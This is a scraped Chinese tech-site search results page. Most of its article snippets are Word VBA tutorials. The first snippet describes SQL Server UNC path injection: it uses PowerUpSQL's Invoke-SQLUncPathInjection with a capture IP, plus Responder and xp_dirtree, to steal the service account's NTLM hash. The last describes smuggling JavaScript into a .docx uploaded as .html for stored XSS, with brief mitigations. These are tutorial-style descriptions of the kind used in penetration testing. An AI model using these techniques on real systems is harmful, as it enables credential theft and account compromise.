首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

SQL Server数据库UNC路径注入攻击

UNC路径注入 如果我们能强制SQL服务器连接到我们控制SMB共享,连接将会包含认证数据。更具体来说,将会发起一个NTLM认证,我们将能捕获到运行SQL服务账户密码hash。...,使用PowerUpSQL.ps1执行UNC路径注入,-CaptureIp为kaliIP: Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.3.104...使用PowerUpSQL.ps1执行UNC路径注入 如果成功,我们将能在kali上捕获到运行SQL服务账户密码hash: responder捕获hash Responder获得hash是...server实例,然后对每个可访问实例都会执行UNC路径注入。...首先使用discover发现域内存在SQL server实例,然后使用set命令指定我们想要执行UNC路径注入SQL实例,最后执行xp_dirtree存储过程: discover domainspn

10410

word——VBA编程「建议收藏」

大家好,又见面了,我是你们朋友全栈君。 最近需要批量操作一些word文件,大约四十几个文件把。一个一个手动操作真的太low了,所以研究了一下word宏,VBA编写代码,批量操作。...操作就是全选Word内容,给整体加一个书签PO_table。 选中文档中检测二字,加书签PO_jc。 选中 年 月 日,删除该选中内容。...Sub 批量操作WORD() Dim path As String Dim FileName As String Dim worddoc As Document Dim MyDir...As String MyDir = "C:\Users\CSY\Documents\Tencent Files\409023706\FileRecv\平台需要\平台需要" '文件夹路径根据需要自己修改...worddoc = Documents.Open(MyDir & "\" & FileName) worddoc.Activate Call my '调用宏,换成你自己宏名字

1.1K10
您找到你想要的搜索结果了吗?
是的
没有找到

Word VBA技术:处理书签

标签:Word VBAWord中,有两类书签: 1.“占位符”书签(Placeholder Bookmarks),即在文档中单击某处,然后插入书签。 2....“封闭”书签(Enclosing Bookmarks),即选择某文本后插入书签。 有几种将文本插入到书签处方法。使用方法取决于后面是否要从书签处获取文本。...要获取书签处文本,使用代码: strBookmark = ActiveDocument.Bookmarks("完美Excel").Range.Text 注意,这种情形下书签应该是“封闭”书签。...如果书签已经是“封闭”书签,想替换其中文本,该怎么办?VBA中没有可以实现这种要求命令,需要做是用插入文本替换书签(此时书签会被删除),然后再围绕插入文本重新创建书签。...ActiveDocument.Bookmarks.Add Name:="完美Excel", Range:=BookmarksRange 如果文档中有许多书签需要更新,那么上述代码会反复重复,因此最好方案是将其作为带有参数子程序供主程序调用

95030

Word VBA技术:确定文档页数

标签:Word VBA 前言:专门讲Word VBA文章很少,可能专门研究Word VBA的人不多,与Excel VBA相比,Word VBA似乎用处少一些,这可能是对Word VBA了解不多缘故。...然而,无论如何,懂得一些Word VBA知识,或者平时收集一些Word VBA代码,在需要用时或者在考虑解决方案时,往往能够起到作用。...这段时间利用休假空闲,零零星星了解一些Word VBA知识,收集于此,也在此与大家分享,希望日后有用。 今天代码很简单,使用VBA给出当前光标或者选择句子所在页数,或者文档共有多少页。...当前光标所在页号 使用下面的代码: Selection.Information(wdActiveEndPageNumber) 很简单!...后记:有兴趣朋友,可以分享应用Word VBA场景,我们共同边学习边研究。

61330

使用VBA找到程序安装路径

当需要使用某个程序时候,就一时会找不到。当然一般可以通过电脑左下角“开始”去找到程序。...这里介绍使用VBA程序来找方法,一个程序在安装过程中,一般都会需要管理员权限,这是因为程序安装一般都要在注册表中写入一些信息,而操作注册表需要管理员权限。...这些写入信息就包括在安装过程中我们选择程序安装路径,所以只需要使用VBA去读取相应注册表信息就可以找到程序安装路径: Function GetAppPath(AppName As String...) AppName = VBA.UCase$(AppName) If VBA.Right$(AppName, 4) ".EXE" Then AppName = AppName &...CurrentVersion\App Paths\" & AppName & "\Path") If Err.Number 0 Then GetAppPath = "没有找到[" & AppName & "]安装路径

1.7K10

VBA专题06-2:利用Excel中数据自动化构建Word文档—熟悉Word VBA

VBA是一种通用编程语言,适用于任何内置有VBA应用程序,因此Word VBA与Excel VBA语法一样,只是处理对象模型不同。下面,我们通过一些示例语句及其作用描述来熟悉Word VBA。...(注:这些语句来源于作者早期发表VBA语句集,长期关注作者朋友可能会有印象) Application对象 (1) Application.ActivePrinter ‘获取当前打印机 (2) Application.Height...'当前应用程序文档高度 (3) Application.Width ‘当前应用程序文档宽度 (4) Application.Build ‘获取Word版本号和编译序号 (5)Application.Caption...‘当前应用程序名 (6)Application.DefaultSaveFormat '返回空字符串,表示Word文档 (7)Application.DisplayRecentFiles '返回是否显示最近使用文档状态...‘返回当前文档水平位置 (11) Application.MacroContainer.FullName '返回当前文档名,包括所在路径 (12) Application.NormalTemplate.FullName

2.6K20

Word VBA技术:设置文档中表格格式

标签:Word VBA 在编辑Word文档时,经常会使用表格,也会设置表格格式,让表格看起来更美观。那么,在VBA中如何操作表格来设置其格式呢?...下面介绍两段简单代码,来学习使用代码初步设置表格格式。 代码1:设置整个表格格式 下面的代码设置文档中第一个表格格式,分别设置其单元格宽度、背景色、字体和字号。...下面的代码设置文档中第一个表格第一单元格宽度、背景色、字体和字号。...wdColorBrown .Range.Font.Name = "Arial" .Range.Font.Size = 10 End With End Sub 这些代码都很基础,主要是为学习和应用Word...VBA技术打开思路,有一些代码模板供参考和在此基础上进一步完善。

1.2K20

Word VBA技术:几段实用小程序代码

标签:Word VBA 下面是几段Word VBA程序代码,供需要时使用。...代码1:清除查找和替换对话框中设置 通常,在我们使用Word“查找和替换”功能进行查找和替换操作后,Word会保留这个设置,如果你后面无意中又执行了查找和替换操作,可能会得到你不想要结果。...MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With End Sub 代码2:获取光标在文档页面中位置...下面的代码可以得到光标在文档页面中位置坐标: x = Selection.Information(wdHorizontalPositionRelativeToPage) y = Selection.Information...代码3:操作显示在最近使用文件清单列表中文件数 在文件菜单中,会显示最近使用文件清单。下面的代码可以设置在清单列表中显示文件数量,或者阻止显示最近使用文件,并且可以恢复原始设置。

1.3K20

VBA实例01:复制多个Excel表到Word

一般可以使用通常复制/粘贴操作,然而如果表很多的话,VBA就派上用场了。 演示数据 我们准备了3个表,如下图1至图3所示。 ? 图1 ? 图2 ?...图3 准备工作 我们需要将这3个表插入到名为“Excel报表.docx”Word文档中。因为要分别插入到文档中指定位置,所以我们在要插入位置定义书签。...在VBA编辑器中,单击“工具——引用”,找到并选取“Microsoft Word 16.0 Object Library”前复选框,如下图5所示。 ?...图5 代码 在VBA编辑器中,插入一个新模块,输入下面的代码: '强制数组下标以1开始 Option Base 1 '将Excel表复制到一个新Word文档 Sub ExcelTablesToWord...图6 应用小结 1.在Word中使用书签功能进行定位,并在代码中利用书签,是一种常用技巧。 2.使用数组并将表名与书签名相对应,能够极大地方便代码编写。

4.2K10

Word VBA应用技术:列出文档中所有书签

标签:Word VBA 如果文档中设置了许多书签,如何清楚地看到它们并快速导航?一个好方法是创建菜单实现,其中在菜单上为每个书签创建一个项目,这样在选取该项目时快速转到该书签。...ActiveDocument.Bookmarks(CommandBars.ActionControl.Caption).Range.Select End If End Sub 运行CreateBookMarkMenu过程后,将在Word...文档功能区“加载项”选项卡中出现一个名为“书签”菜单,如下图1所示。...图1 单击书签下拉箭头,出现包含文档所有书签项菜单,如下图2所示。 图2 单击某个书签,就会定位到文档该书签处。如果在文档中新增或删除了书签,单击“刷新列表”,菜单会更新。...当然,你可以对上述代码稍作改动,将其功能放置在已有的选项卡中或者右键快捷菜单中,这取决于你使用习惯。

1.1K50

VBA实用小程序:将Excel中内容输入到Word

我想要一个可以根据需要经常重复将Excel数据输入到Word,这意味着在复制完成后要重新创建书签。 在此情况下,我想要一些简单东西,任何人都可以在没有技术知识情况下进行设置。...因此,下面的这段代码很简单,对其进行设置,只需为Excel中文本、区域和图表命名,并按照代码中说明在Word书签中创建匹配名称。 注意,我不能保证它在所有情况下都能工作。...完整代码: '这里代码使用书签将图表和表复制到Word文档中 'Word文档必须打开并处于活动状态,即当前可见Word文档 '要复制一个表,给它一个以tbl开头区域名称 '然后在Word文档中插入一个使用该名称书签...'在给它一个名字时,最安全是点击图表前按Ctrl '然后你在Word中包含一个具有此名称书签,同样以 tag_ 为前缀 '运行下面的宏应该复制所有内容 '注意这种方法意味着不能多次插入相同图表/...表格 '因为Word出于显而易见原因不允许重复书签名称 Dim WdApp As Object 'Word.Application Dim doc As Object 'Word.Document

2K20

上传Word文件形成存储型XSS路径

用来上传文件必须是一个有效.docx文件,那基于浏览器解析显示来说,它可能会把它转换为html格式来显示,那我能不能把它后缀作个更改呢?...由于这是.docx经直接把后缀更改为.zip压缩格式文件包样例,我需要确定在上传或Web解析过程中某些不会被转储更改区域,最后,我发现了这种docx变zip压缩格式包中某些文件路径会保持原样,像下图这样...之后,再把这个zip格式后缀还原为docx格式,用UItraEdit查看hex代码,再在保持原样区域中覆盖掉一些字节,插入我自己设置JavaScript XSS代码: 上传时,服务器能正常接收这个经过构造....docx文件,在HTTP POST过程中,我把它后缀更改为.html后缀进行了最终上传: 向服务器请求这个文件时,它能被服务器解析为HTML文件,其中包含了完整之前插入XSS Payload代码...头信息; 控制文件下载时其它操作情况,添加响应标头:“Content-Disposition: attachment”,以防止在浏览器中内嵌显示文件; 过滤掉所有包含HTML标签上传,因为docx可经压缩篡改其中包含

1.5K30
领券